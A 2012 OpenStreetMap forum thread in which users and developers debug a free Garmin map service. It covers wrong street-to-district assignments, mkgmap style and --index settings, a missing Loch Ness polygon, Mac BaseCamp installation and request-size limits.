Prinsengracht, Ciudad de los Museos, Amsterdam, ABCThe Openfietsmap Lite shows other errors:
Prinsengracht, Jordaan, Amsterdam, NLD
Why the Jordaan? Why the Spanish names?
This has something to do with the wrong assignment of streetnames to districts, provinces and countries.
Lambertus, what are your mkgmap settings?
I use
bounds: bounds
location-autofill: bounds,is-in,nearestbounds file is from http://www.navmaps.eu/wanmil/ (The one I use in my OFM is from 22/01/2012, maybe later versions has some errors/holes?)
I suspect the map chooses too often the nearest district instead of the admin. country boundaries, maybe because they are broken in Wanmil's latest database?
And why does it choose the Spanish names instead of the Dutch in the General map? - Re: Worldwide routable Garmin maps: URL REMOVED · PJS (Gast) · 24.08.2012 17:03 · [flux]
As a very grateful user of the maps provided by Lambertus, I loaded the UK map on my Garmin for our holiday in Scotland. As always excellent data, and those little things that were missing, well, we can live with those.
However, this time, when driving past Loch Ness, I suddenly realised it didnt show on my Garmin (you understand I was more looking for Nessie through the carwindow 😄).Back home I checked the map in Mapsource and Basecamp, and found this famous Loch doesnt show there either. It is in Openstreetmap, and shows on the website, but it seems there is something fishy with the data. I download the UK fresh, and loaded this new version in Mapsource, but with the same result.
I am not proficient enough to understand why it doesnt show. In the past I have seen this when a waterbody wasn't 'closed', but that doesnt seem to be the case here. The only difference between Loch Ness and Loch Lochy (that does show correctly) is that the object Loch Ness shares nodes with other objects around it (e.g. wood, forest). Not sure if that is the cause of this error.Appreciate if somebody can shed some light on this.
tks,
Piet. - Re: Worldwide routable Garmin maps: URL REMOVED · WanMil (Gast) · 24.08.2012 17:40 · [flux]
ligfietser wrote:
@Carnut: I get strange results when searching for Prinsengracht, too (tested in Mapsource):
Prinsengracht, Barrio Judio, Amsterdam, NLD
Prinsengracht, Ciudad de los Museos, Amsterdam, ABCHi ligfietser,
you can debug which bounds values are assigned to the given streets. Add the line
uk.me.parabola.mkgmap.reader.osm.LocationHook.results.level=FINE
to your logging.properties file. Read http://wiki.openstreetmap.org/wiki/Mkgm … _Debugging how to enable logging. The logfile contains one line for each OSM element (Node/Way, osm id, and the value for each admin level 11-1). So when you know the osm id of the wrong Prinsengracht you can check the logfile if the bounds values are assigned correctly.
I propose to compile only the tile containing the Prinsengracht because the logfile will become quite big :-)
ligfietser wrote:
bounds file is from http://www.navmaps.eu/wanmil/ (The one I use in my OFM is from 22/01/2012, maybe later versions has some errors/holes?)
The latest boundaries are from July 8th so the redaction bot was not started yet.
If you cannot solve the problem yourself please give me exact details about the data and the mkgmap parameters you use. I can then have a look on it.
WanMil
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 24.08.2012 18:08 · [flux]
Thanks Wanmil, since it is not just a single street but seems very widespread all over the world, I have to know which mkgmap settings Lambertus is using.
About the issue from PJS, this seems also related to mkgmap and the splitter. I notice it happens with big polygons (lakes, forests) when they are located in different tiles.
Somehow the polygons are broken and so the lakes are dry or forests not green. Making the overlap higher (5000 or even 10000) can solve the problem, but this is a workaround. Is it possible to fix this in mkgmap or the splitter? - Re: Worldwide routable Garmin maps: URL REMOVED · WanMil (Gast) · 24.08.2012 18:26 · [flux]
It sounds like two separate problems:
1. Wrong assignments of city/region/country to some streets
=> Use the mkgmap logger to track down the problem.2. Some big polygons that overlap the tile bbox are not rendered.
=> In case the big polygon is a single polygon and not a multipolygon it should be rendered. Please post some details so I can have a look on it.
In case it is a multipolygon it is very difficult to fix. In this case the splitter would require a mulitpolygon handling which requires an additional pass and makes splitter much slower. There have been several discussions on the dev list without any good idea how to fix this... - Re: Worldwide routable Garmin maps: URL REMOVED · WanMil (Gast) · 24.08.2012 18:35 · [flux]
WanMil wrote:
2. Some big polygons that overlap the tile bbox are not rendered.
=> In case the big polygon is a single polygon and not a multipolygon it should be rendered. Please post some details so I can have a look on it.
In case it is a multipolygon it is very difficult to fix. In this case the splitter would require a mulitpolygon handling which requires an additional pass and makes splitter much slower. There have been several discussions on the dev list without any good idea how to fix this...Ok, I've had a look at Loch Ness myself. It is a single polygon so it should be rendered. Can you please give me the splitter areas.list file so that i can try to reproduce the problem? Thanks
- Re: Worldwide routable Garmin maps: URL REMOVED · WanMil (Gast) · 24.08.2012 19:13 · [flux]
WanMil wrote:
WanMil wrote:
2. Some big polygons that overlap the tile bbox are not rendered.
=> In case the big polygon is a single polygon and not a multipolygon it should be rendered. Please post some details so I can have a look on it.
In case it is a multipolygon it is very difficult to fix. In this case the splitter would require a mulitpolygon handling which requires an additional pass and makes splitter much slower. There have been several discussions on the dev list without any good idea how to fix this...Ok, I've had a look at Loch Ness myself. It is a single polygon so it should be rendered. Can you please give me the splitter areas.list file so that i can try to reproduce the problem? Thanks
I've checked Loch Ness. The reason that it does not appear in the map is located in the default style file. The relevant tags of Loch Ness are:
name=Loch Ness
natural=water
tourism=attractionThis matches the rule in the default style polygons file
tourism=* & area!=no & waterway!=* [0x13 resolution 24]The rule for natural=water is contained in the waters style which is included by the default style. AFAIK included styles are processed after the style itself so the tourism rule matches first and the natural=water rule is not used for Loch Ness.
WanMil
- Re: Worldwide routable Garmin maps: URL REMOVED · PJS (Gast) · 24.08.2012 20:01 · [flux]
Thanks for the speedy replies, however not sure what the solution is.
Can the processing be changed so the natural=water will be processed, or should we just remove the tourism tag from Loch Ness. Its first and foremost a body of water, and there are more lochs that would qualify as an attraction, which arent tagged as such.
Piet
- Re: Worldwide routable Garmin maps: URL REMOVED · WanMil (Gast) · 24.08.2012 20:26 · [flux]
PJS wrote:
Thanks for the speedy replies, however not sure what the solution is.
Can the processing be changed so the natural=water will be processed, or should we just remove the tourism tag from Loch Ness. Its first and foremost a body of water, and there are more lochs that would qualify as an attraction, which arent tagged as such.
Piet
Changing the default style must be discussed on the mkgmap dev list: http://www.mkgmap.org.uk/pipermail/mkgm … 14883.html
I don't know the current tagging rules very good so I cannot say if it is a good solution to remove the tourism tag. I fear it's not because "do not tag for renderers"...
WanMil
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 24.08.2012 23:17 · [flux]
I agree with Wanmil that is an mkgmap style issue which should not be repaired on OSM.
Concerning the wrong assignments of city/region/countries, we have to wait until "the boss" is back from holidays but it has his attention 😉
- Re: Worldwide routable Garmin maps: URL REMOVED · Shamrock77 (Gast) · 25.08.2012 10:17 · [flux]
Hi Lambertus,
I got a problem with the map of syria with the names.
The osm datas are containing arabic names
The datas i download on openstreetmap.nl are in english
I need the arabic names
Is there a possibility to get them ?I tried to generate my own map with osm tools, mkgmap, etc, i got the arabic names but no index of the cities for exemple
I really need your help on this.Thanks in advance.
- Re: Worldwide routable Garmin maps: URL REMOVED · CarNut (Gast) · 25.08.2012 11:15 · [flux]
ligfietser wrote:
@Carnut: I get strange results when searching for Prinsengracht, too (tested in Mapsource):
Prinsengracht, Barrio Judio, Amsterdam, NLD
Prinsengracht, Ciudad de los Museos, Amsterdam, ABCThe Openfietsmap Lite shows other errors:
Prinsengracht, Jordaan, Amsterdam, NLD
Why the Jordaan? Why the Spanish names?
This has something to do with the wrong assignment of streetnames to districts, provinces and countries
Perhaps the data for Prinsengracht were entered or altered by a Spanish tourist who was unfamilar with Amsterdam 🙄
The maps contain many similar errors, e.g. a village shown to be in Belgium whereas it is in the Netherlands. Anyway, the maps are free and still very useful if users find ways to circumvent the errors.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 25.08.2012 11:53 · [flux]
Carnut, you are right: http://www.openstreetmap.org/browse/nod … 16/history 😄
This is a mappers error, because AFAIK there is no district in Amsterdam with Spanish name.
I also removed nonsense names of suburbs/hamlets (gehucht) like Jordaan and Dam plaza because they are obviously added for "mapping for the renderer"This is only one part of the explanation, more important is why the streetnames are not assigned to the administrative boundaries here (and almost anywhere else, not only in Amsterdam) and only assigned to the nearest place node (like the Barrio Judio, Jordaan or in the Openfietsmap, to the cycling nodes (I misuse a place name poi for them)). This is I think caused by some misconfiguration in Lambertus scripts but I cant investigate it since I dont have the exact scripts and files he is using (have to wait until he is back from holidays).
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 03.09.2012 14:44 · [flux]
Re. the strange names in the Garmin maps. I'll try to add all relevant information here for debugging:
The Mkgmap settings used for initial rendering of each individual OSM source file:
$command␣=␣"ulimit␣-t␣900␣&&␣java␣-Xmx1792M␣-ea␣-jar␣$mkgmap"; $command.=␣"␣--family-id=$family_id"; $command.=␣"␣--product-id=$product_id"; $command.=␣"␣--draw-priority=20"; $command.=␣"␣--description='$description'"; $command.=␣"␣--series-name='$description'"; $command.=␣"␣--style-file='$style_dir'"; $command.=␣"␣--style='$style'"; $command.=␣"␣--reduce-point-density=4"; $command.=␣"␣--reduce-point-density-polygon=8"; $command.=␣"␣--make-opposite-cycleways"; $command.=␣"␣--link-pois-to-ways"; $command.=␣"␣--precomp-sea='/home/lambertus/garmin/utils/sea'"; $command.=␣"␣--bounds='/home/lambertus/garmin/utils/bounds.zip'"; $command.=␣"␣--location-autofill=bounds,is_in,nearest"; $command.=␣"␣--latin1"; //␣implies␣code-page=1252 $command.=␣"␣--ignore-maxspeeds"; $command.=␣"␣--remove-short-arcs"; $command.=␣"␣--min-size-polygon=10"; $command.=␣"␣--merge-lines"; $command.=␣"␣--add-pois-to-areas"; $command.=␣"␣--preserve-element-order"; $command.=␣"␣--route"; $command.=␣"␣--name-tag-list=name:en,int_name,name:zh_py,name:engels,name"; $command.=␣"␣--input-file=$file";
The final map combine Mkgmap settings:
$command␣␣=␣"java␣-Xmx6144M␣-jar␣$utils_dir/mkgmap-performance-r2269.jar"; $command␣.=␣"␣--index"; $command␣.=␣"␣--overview-mapname=$overview_name"; $command␣.=␣"␣--family-name='$description'"; $command␣.=␣"␣--family-id=$family_id"; $command␣.=␣"␣--series-name='$description'"; $command␣.=␣"␣--latin1"; $command␣.=␣"␣--description='$description'"; $command␣.=␣"␣--product-id=$product_id"; $command␣.=␣"␣--tdbfile"; $command␣.=␣"␣--nsis"; $command␣.=␣"␣--copyright-message=$copyright"; $command␣.=␣"␣--gmapsupp␣*324*.img␣$typMkgmap";
- The Mkgmap-performance-r2269.jar is a symbolic link to the currently used Mkgmap version r2311.
- Bounds.zip is a symbolic link to world_20120221.zip from WanMil's site. Perhaps the newer bounds_20120708.zip file should be used?
- The areas.list file is continuously being overwritten on each subsplit during initial rendering but the coordinates of each tile is kept up-to-date in an XML file.
- Central Amsterdam, Netherlands is located in this tile, the source OSM file is here.
- Tirana, Albania is located in this tile, the source OSM file is here. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 03.09.2012 15:00 · [flux]
Shamrock77 wrote:
I got a problem with the map of syria with the names.
The osm datas are containing arabic namesAnd English or international 😉
The datas i download on openstreetmap.nl are in english
Yes, that is a specific choice I made because it is the most commonly understood language.
I need the arabic names
Is there a possibility to get them ?Yes, but from someone else or by doing it yourself.
I tried to generate my own map with osm tools, mkgmap, etc, i got the arabic names but no index of the cities for exemple
I really need your help on this.Maybe because the Garmin firmware indexing doesn't work in Arabic? It's just a guess from my part but it would not amaze me. Another option is that you need to add the 'index' parameter to the Mkgmap commandline.
- Re: Worldwide routable Garmin maps: URL REMOVED · WanMil (Gast) · 04.09.2012 09:33 · [flux]
Lambertus wrote:
- The Mkgmap-performance-r2269.jar is a symbolic link to the currently used Mkgmap version r2311.
Please use the very latest r2328. It contains a fix when using location-autofill=bounds together with add-pois-to-areas.
Lambertus wrote:
- Bounds.zip is a symbolic link to world_20120221.zip from WanMil's site. Perhaps the newer bounds_20120708.zip file should be used?
I can reproduce the Prinsengracht problem with this old bounds file. There are two possible problems with the old bounds zip file.
1. The zip file must not contain subdirectories any more since r2275.
2. If the zip file does not contain subdirs I get error messages in the log file:Failed␣to␣read␣boundary␣file␣bounds_1850000_750000.bnd␣Unsupported␣file␣format
I am not sure what has changed in the bounds file format but I am also not sure which mkgmap release was used to create the world_20120221.zip.
Anyhow using the latest bounds_20120708.zip the problem disappears.
WanMil
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 04.09.2012 13:19 · [flux]
Thanks WanMil for confirming that the bounds file is probably too old, I've also upgraded to the latest Mkgmap and run an update now.
- Re: Worldwide routable Garmin maps: URL REMOVED · loewe-xy (Gast) · 05.09.2012 19:46 · [flux]
Hello,
I like your tool and the style of the resulting maps. But I wanted to have a very large map.
This resulted in a server error with the message: "The requested URL's length exceeds the capacity limit for this server."Also I know that this would be not so good for your server. Is it possible e.g. to download a map with europe. I think this would reduce CPU load for you, and it would be possible to get large maps.
loewe-xy
- Re: Worldwide routable Garmin maps: URL REMOVED · MTSRY1968 (Gast) · 06.09.2012 10:20 · [flux]
loewe-xy wrote:
Hello,
I like your tool and the style of the resulting maps. But I wanted to have a very large map.
This resulted in a server error with the message: "The requested URL's length exceeds the capacity limit for this server."Also I know that this would be not so good for your server. Is it possible e.g. to download a map with europe. I think this would reduce CPU load for you, and it would be possible to get large maps.
loewe-xy
I'm very well aware that everyone has his own way of working, but mine can be an answer on your question. Most likely it is not the best way, but by posting it I want to learn something.
1. I download only predefined countries. In most cases the tile set already exists and is ready for immediate download. I need only osm_generic_tiles.zip and rename it offcourse with the country name.
2. I extract all tile sets to a single directory within my Garmin directory. There will be double tiles, but just overwrite them.
3. By using GMapTool and cGPSmapper, I create a new Mapset with an unique ID for MapSource. This step takes almost no time.
4. Within MapSource I select only the part which I want to send to my GPS. And I have still access to the previous ones.The conclusion is for at least me is that I have within a mum of time what I want and without huge CPU effort on the server side (just downloading).
Regards
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 06.09.2012 12:05 · [flux]
Lambertus wrote:
Thanks WanMil for confirming that the bounds file is probably too old, I've also upgraded to the latest Mkgmap and run an update now.
Searching for "Prinsengracht" shows some improvements, although there are still some weird results.
Here is a comparison between the search results of the Generic map and the OFM Benelux.What I would expect is streetname,place,province,country (like in the OFM BNL) but the generic map shows streetname,nearest place poi,place,country
Sometimes the local place poi is an obvious mapping error like "Leidseplein" (some tourist was mapping for the renderer and put a suburb poi on this square).
There are very strange results like Enkhuizen in Edam-Volendan (spelling error and wrong assignment, Enkhuizen is not in Edam-VolendaM!)
Also Meppel is not even close to Grafschaft Bentheim, which lies in Germany!I dont know where those errors come from, I have to wait for the results of the OFM Lite to see if the results are different (could be caused by the styles file)
Maybe the bounds file is broken, too (for the OFM Benelux i have used an older bounds file from 22/01/2012) - Re: Worldwide routable Garmin maps: URL REMOVED · WanMil (Gast) · 06.09.2012 12:10 · [flux]
ligfietser wrote:
Maybe the bounds file is broken, too (for the OFM Benelux i have used an older bounds file from 22/01/2012)
Yes, this bounds file is too old. You should see some errors in the mkgmap logfile.
WanMil
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 06.09.2012 12:16 · [flux]
WanMil wrote:
ligfietser wrote:
Maybe the bounds file is broken, too (for the OFM Benelux i have used an older bounds file from 22/01/2012)
Yes, this bounds file is too old. You should see some errors in the mkgmap logfile.
WanMil
I havent noticed any errors.
The results still look good (see the screenshot, the right box with OFM Benelux is made with the older bounds file. I still have to test the latest one to see if the results are different)Btw here are the locator settings in my Openfietsmap Benelux styles
#␣first␣set␣the␣country␣code mkgmap:country!=*␣&␣mkgmap:admin_level2=*␣{␣set␣mkgmap:country='${mkgmap:admin_level2}'␣} mkgmap:country!=*␣&␣addr:country=*␣{␣set␣mkgmap:country='${addr:country}'␣} mkgmap:country!=*␣&␣is_in:country=*␣{␣set␣mkgmap:country='${is_in:country}'␣}
mkgmap:country=DEU␣&␣mkgmap:region!=*␣&␣mkgmap:admin_level3=*␣{␣set␣mkgmap:region='${mkgmap:admin_level3}'␣} mkgmap:country=LUX␣&␣mkgmap:region!=*␣&␣mkgmap:admin_level6=*␣{␣set␣mkgmap:region='${mkgmap:admin_level6}'␣} mkgmap:country=BEL␣&␣mkgmap:region!=*␣&␣mkgmap:admin_level6=*␣{␣set␣mkgmap:region='${mkgmap:admin_level6}'␣} mkgmap:region!=*␣&␣mkgmap:admin_level4=*␣{␣set␣mkgmap:region='${mkgmap:admin_level4}'␣} mkgmap:region!=*␣&␣mkgmap:admin_level5=*␣{␣set␣mkgmap:region='${mkgmap:admin_level5}'␣} mkgmap:region!=*␣&␣mkgmap:admin_level6=*␣{␣set␣mkgmap:region='${mkgmap:admin_level6}'␣} mkgmap:region!=*␣&␣is_in:county=*␣{␣set␣mkgmap:region='${is_in:county}'␣}
#␣Germany␣=␣DEU␣cities mkgmap:country=DEU␣&␣mkgmap:admin_level4=Hamburg␣{set␣mkgmap:city='${mkgmap:admin_level4}'␣} mkgmap:country=DEU␣&␣mkgmap:city!=*␣&␣mkgmap:admin_level8=*␣{␣set␣mkgmap:city='${mkgmap:admin_level8|subst:Gemeinde␣|subst:Stadt␣}'␣} mkgmap:country=DEU␣&␣mkgmap:city!=*␣&␣mkgmap:admin_level7=*␣{␣set␣mkgmap:city='${mkgmap:admin_level7}'␣} mkgmap:country=DEU␣&␣mkgmap:city!=*␣&␣mkgmap:admin_level6=*␣{␣set␣mkgmap:city='${mkgmap:admin_level6}'␣} mkgmap:country=DEU␣&␣mkgmap:city!=*␣&␣mkgmap:admin_level9=*␣{␣set␣mkgmap:city='${mkgmap:admin_level9}'␣} mkgmap:country=DEU␣&␣mkgmap:city!=*␣&␣mkgmap:admin_level10=*␣{␣set␣mkgmap:city='${mkgmap:admin_level10}'␣}
mkgmap:country=NLD␣&␣mkgmap:city!=*␣&␣mkgmap:admin_level10=*␣{␣set␣mkgmap:city='${mkgmap:admin_level10}'␣} mkgmap:country=BEL␣&␣mkgmap:city!=*␣&␣mkgmap:admin_level9=*␣{␣set␣mkgmap:city='${mkgmap:admin_level9}'␣} mkgmap:country=AUT␣&␣mkgmap:city!=*␣&␣mkgmap:admin_level8=*␣{␣set␣mkgmap:city='${mkgmap:admin_level8|subst:Gemeinde␣}'␣} mkgmap:country=CZE␣&␣mkgmap:city!=*␣&␣mkgmap:admin_level8=*␣{␣set␣mkgmap:city='${mkgmap:admin_level8}'␣} mkgmap:country=CZE␣&␣mkgmap:city!=*␣&␣mkgmap:admin_level7=*␣{␣set␣mkgmap:city='${mkgmap:admin_level7}'␣} mkgmap:country=DNK␣&␣mkgmap:city!=*␣&␣mkgmap:admin_level8=*␣{␣set␣mkgmap:city='${mkgmap:admin_level8}'␣} mkgmap:country=DNK␣&␣mkgmap:city!=*␣&␣mkgmap:admin_level7=*␣{␣set␣mkgmap:city='${mkgmap:admin_level7}'␣} mkgmap:country=FIN␣&␣mkgmap:city!=*␣&␣mkgmap:admin_level9=*␣{␣set␣mkgmap:city='${mkgmap:admin_level9}'␣} mkgmap:country=FIN␣&␣mkgmap:city!=*␣&␣mkgmap:admin_level8=*␣{␣set␣mkgmap:city='${mkgmap:admin_level8}'␣} mkgmap:country=FRA␣&␣mkgmap:city!=*␣&␣mkgmap:admin_level9=*␣{␣set␣mkgmap:city='${mkgmap:admin_level9}'␣} mkgmap:country=FRA␣&␣mkgmap:city!=*␣&␣mkgmap:admin_level8=*␣{␣set␣mkgmap:city='${mkgmap:admin_level8}'␣} mkgmap:country=ISL␣&␣mkgmap:city!=*␣&␣mkgmap:admin_level8=*␣{␣set␣mkgmap:city='${mkgmap:admin_level8}'␣} mkgmap:country=ITA␣&␣mkgmap:city!=*␣&␣mkgmap:admin_level8=*␣{␣set␣mkgmap:city='${mkgmap:admin_level8}'␣} mkgmap:country=NOR␣&␣mkgmap:city!=*␣&␣mkgmap:admin_level9=*␣{␣set␣mkgmap:city='${mkgmap:admin_level9}'␣} mkgmap:country=POL␣&␣mkgmap:city!=*␣&␣mkgmap:admin_level10=*␣{␣set␣mkgmap:city='${mkgmap:admin_level10}'␣} mkgmap:country=POL␣&␣mkgmap:city!=*␣&␣mkgmap:admin_level8=*␣{␣set␣mkgmap:city='${mkgmap:admin_level8}'␣} mkgmap:country=PRT␣&␣mkgmap:city!=*␣&␣mkgmap:admin_level9=*␣{␣set␣mkgmap:city='${mkgmap:admin_level9}'␣} mkgmap:country=PRT␣&␣mkgmap:city!=*␣&␣mkgmap:admin_level8=*␣{␣set␣mkgmap:city='${mkgmap:admin_level8}'␣} mkgmap:country=SVN␣&␣mkgmap:city!=*␣&␣mkgmap:admin_level10=*␣{␣set␣mkgmap:city='${mkgmap:admin_level10}'␣} mkgmap:country=ESP␣&␣mkgmap:city!=*␣&␣mkgmap:admin_level8=*␣{␣set␣mkgmap:city='${mkgmap:admin_level8}'␣} mkgmap:country=SWE␣&␣mkgmap:city!=*␣&␣mkgmap:admin_level9=*␣{␣set␣mkgmap:city='${mkgmap:admin_level9}'␣} mkgmap:country=SWE␣&␣mkgmap:city!=*␣&␣mkgmap:admin_level7=*␣{␣set␣mkgmap:city='${mkgmap:admin_level7}'␣} mkgmap:country=CHE␣&␣mkgmap:city!=*␣&␣mkgmap:admin_level8=*␣{␣set␣mkgmap:city='${mkgmap:admin_level8}'␣}
#␣common␣rules␣for␣all␣the␣rest␣of␣countries mkgmap:city!=*␣&␣mkgmap:admin_level8=*␣{␣set␣mkgmap:city='${mkgmap:admin_level8}'␣} mkgmap:city!=*␣&␣mkgmap:admin_level9=*␣{␣set␣mkgmap:city='${mkgmap:admin_level9}'␣} mkgmap:city!=*␣&␣mkgmap:admin_level10=*␣{␣set␣mkgmap:city='${mkgmap:admin_level10}'␣} mkgmap:city!=*␣&␣is_in:city=*␣{␣set␣mkgmap:city='${is_in:city}'␣} mkgmap:city!=*␣&␣addr:city=*␣{␣set␣mkgmap:city='${addr:city}'␣}
mkgmap:postal_code!=*␣&␣mkgmap:postcode=*␣{␣set␣mkgmap:postal_code='${mkgmap:postcode}'␣} mkgmap:postal_code!=*␣&␣addr:postcode=*␣{␣set␣mkgmap:postal_code='${addr:postcode}'␣}
mkgmap:street!=*␣&␣addr:street=*␣{␣set␣mkgmap:street='${addr:street}'␣} mkgmap:street!=*␣&␣addr:housename=*␣{␣set␣mkgmap:street='${addr:housename}'␣}
mkgmap:housenumber!=*␣&␣addr:housenumber=*␣{␣set␣mkgmap:housenumber='${addr:housenumber}'␣}
mkgmap:phone!=*␣&␣phone=*␣{␣set␣mkgmap:phone='${phone}'␣}
mkgmap:is_in!=*␣&␣is_in=*␣{␣set␣mkgmap:is_in='${is_in}'␣}
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 06.09.2012 20:21 · [flux]
Unfortunately, the street search of the OFM Lite version is also messed up: 😠
I have no idea what the cause is, because the styles should be ok (style file is the same as my map).
Next thing to test is to generate my maps with the latest bounds file although I doubt that this is the cause.
Another question for Lambertus, regarding those parameters:
$command.= " --style-file='$style_dir'";
$command.= " --style='$style'";I dont use the first line, just --style-file=%style% with %style% the directory to my style files.
What does the first line mean? What kind of styles are in that style_dir? Maybe another set of locator files that is messing up the index?Edit:
I generated one tile of my Openfietsmap Benelux with the latest bounds_20120708.zip and I couldnt reproduce those errors.
It finds Prinsengracht, Enkhuizen, Noord-Holland, NLD (as expected) and not Prinsengracht, Enkhuizen (or 30),Edam-Volendan,NLDSo the fault could be in the styles files. Lambertus, can you mail me a copy of the exact contents of your $style_dir?
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 06.09.2012 22:31 · [flux]
Finally, I think i have found the index bug 🙂
In your first step, I missed the index parameter.
This one is crucial. It reads the location from the style file parameters and puts the info in the img tiles.In the second step another index is created, but it misses some location info that lacks in the individual tiles.
Maybe Wanmil can confirm this, because it is just a wild guess. I can partly reproduce the error when I first make an img tile without the --index (Prinsengracht,30,ABC) and then compile a new map with the --index parameter. - Re: Worldwide routable Garmin maps: URL REMOVED · squawk77 (Gast) · 07.09.2012 02:07 · [flux]
Lambertus wrote:
I've switched to another tool to generate the MacOSX version due to a bug in the gmapi-builder script concerning TYP-files. The new tool is the commandline interface version of JaVaWa's MapConverter. Many thanks for Jaco for providing this tool.
Both servers should now also be creating valid gmapi containers when a TYP file is included.
Good day Lambertus
I've used you nifty site many times to generate custom maps to send directly to my 60CSx. Now I'm trying desperately to use Base Camp on Mac OSX (ML). First I downloaded the "osm_generic_macosx.zip" file and Mac seems to extract it, but I can't figure out or seem to Google what to do from there? There doesn't seem to be any install file or anything I can import to Base Camp on Mac.. (I could be missing something obvious I'm very new to Mac) Thanks a lot for the great site
- Re: Worldwide routable Garmin maps: URL REMOVED · JaVaWa (Gast) · 07.09.2012 07:39 · [flux]
Did you try double clicking the extracted file?
On a Mac things are simplier than you think... - Re: Worldwide routable Garmin maps: URL REMOVED · SpieleHolger (Gast) · 07.09.2012 10:58 · [flux]
Thanks for your great maps. I really enjoy them. 😄
I have one little idea:
I often use a custom selection of tiles. It would be nice to do the tile selection by loading a tiles.txt file from a previous download to get the same selection as before. - Re: Worldwide routable Garmin maps: URL REMOVED · squawk77 (Gast) · 07.09.2012 11:33 · [flux]
JaVaWa wrote:
Did you try double clicking the extracted file?
On a Mac things are simplier than you think...That's what I expected. Check this screen shot. Do I need to dl again or am I missing something?
- Re: Worldwide routable Garmin maps: URL REMOVED · WanMil (Gast) · 07.09.2012 11:33 · [flux]
ligfietser wrote:
Finally, I think i have found the index bug 🙂
In your first step, I missed the index parameter.
This one is crucial. It reads the location from the style file parameters and puts the info in the img tiles.In the second step another index is created, but it misses some location info that lacks in the individual tiles.
Maybe Wanmil can confirm this, because it is just a wild guess. I can partly reproduce the error when I first make an img tile without the --index (Prinsengracht,30,ABC) and then compile a new map with the --index parameter.Ough, just watch out for the obvious things... I missed that too that the index parameter was not there.
Without index parameter the bounds files are not used. And I think the address information should be completely missing (but I would have to step through the source code to know that for sure...).
The second step merges the tiles only and does not add any information to the tiles. So if index is missing on the first step the information from the bounds files will not be added on the second step.WanMil
- Re: Worldwide routable Garmin maps: URL REMOVED · JaVaWa (Gast) · 07.09.2012 12:13 · [flux]
squawk77 wrote:
That's what I expected. Check this screen shot. Do I need to dl again or am I missing something?
That folder should be shown as a file by the Finder, maybe you didn't run BaseCamp yet?
- Re: Worldwide routable Garmin maps: URL REMOVED · squawk77 (Gast) · 07.09.2012 14:21 · [flux]
JaVaWa wrote:
That folder should be shown as a file by the Finder, maybe you didn't run BaseCamp yet?
Tried restarting and opening/closing Base Camp. Read something about red tiles, but I haven't seen any. Are there any known issues? I have the map on my 60CSx now but I could really use it on Base Camp to plan long routes
So I dl the zip file for Mac, I double click to extract it, open Base Camp and double click a file? Edit: I tried to dl a new map but I'm stuck at the same place. I double click the zip file and Mac extracts it, but I can't find anything to open after that.
- Re: Worldwide routable Garmin maps: URL REMOVED · Fod (Gast) · 08.09.2012 09:37 · [flux]
Fod wrote:
When requesting a custom map with a lot of tiles in it (e.g. Germany and one extra tile = 253 tiles), the browser submits the request, waits for ~ 15-20 seconds and then responds that the connection to the server was reset. (Firefox states that the connection was reset "during download", Chrome states that the connection was reset "by the server").
I'll continue locating the error (next step is to try the same from another internet location) and let you know.
FYI, I located the error and found a workarund:
Apparently, the HTTP request is so large that it is split into multiple packets. This can confuse some HTTP proxies and firewalls performing certain protocol checks:
http://www.simplemachines.org/community/index.php?topic=294745.0 wrote:
When CFS (Content Filtering) is enabled [on my firewall], the device performs additional processing and searches the host tags in HTTP headers. At times, HTTP requests may be spread across several packets with the host tag appearing in a later packet. The host tag search algorithm [in my firewall] can encounter a problem if this happens unless [the] checkbox [below] is disabled
.Voilá, that worked. If anyone else with a SonicWALL firewall encounters the same problem, this is the workaround:
http://www.simplemachines.org/community/index.php?topic=294745.0 wrote:
If you have probs accessing a site through SonicWall (e.g. hangs, stuck on progress page), check for 'Examining Stream for Host Header: Dropped TCP' errors in the logs.
If you get these, go to http://<sonicwall_ip>/diag.html - it's a hidden settings page - and uncheck 'Enforce Host Tag Search with for CFS'.
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Jakob - Re: Worldwide routable Garmin maps: URL REMOVED · Fenriswolfi (Gast) · 08.09.2012 10:23 · [flux]
Hello all,
I tried to create a containing germany, austria, switzerland and some parts of italy. While submitting the request I get the following error:
Request-URI␣Too␣Large
The␣requested␣URL's␣length␣exceeds␣the␣capacity␣limit␣for␣this␣server. Apache/2.2.22␣(Ubuntu)␣Server␣at␣osm2.pleiades.uni-wuppertal.de␣Port␣80
I think this because the request is sent as as HTTP GET request, which is limited by size. Would it be possible to accept the request as a HTTP POST request, which dies not have a limitation of size. Or is this limitation to prevent to large requests?
Thanks for any information about it,
Fenriswolfi - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 08.09.2012 17:51 · [flux]
ligfietser wrote:
Finally, I think i have found the index bug 🙂
In your first step, I missed the index parameter.
This one is crucial. It reads the location from the style file parameters and puts the info in the img tiles.I hope that's it ligfietser. Although I pretty sure the --index parameter was left out for a reason but, alas, can't find it anymore. 🙄
I've started a new update, let's see what it does. Thanks!
Fod wrote:
Voilá, that worked. If anyone else with a SonicWALL firewall encounters the same problem, this is the workaround:
http://www.simplemachines.org/community/index.php?topic=294745.0 wrote:
If you have probs accessing a site through SonicWall (e.g. hangs, stuck on progress page), check for 'Examining Stream for Host Header: Dropped TCP' errors in the logs.
Great, I'm glad you worked it out yourself 🙂
Fenriswolfi wrote:
Hello all,
I tried to create a containing germany, austria, switzerland and some parts of italy. While submitting the request I get the following error:
Request-URI␣Too␣Large
The␣requested␣URL's␣length␣exceeds␣the␣capacity␣limit␣for␣this␣server. Apache/2.2.22␣(Ubuntu)␣Server␣at␣osm2.pleiades.uni-wuppertal.de␣Port␣80
I think this because the request is sent as as HTTP GET request, which is limited by size. Would it be possible to accept the request as a HTTP POST request, which dies not have a limitation of size. Or is this limitation to prevent to large requests?
I think I'll rewrite the submit to use an http post method, that would solve the server (and proxy) limitations. Maximum tilecount checks are also performed in the code and will let you know when you request too many tiles.
Edit: The request has now been rewritten as a POST request (and will now also open in a new browser window/tab).
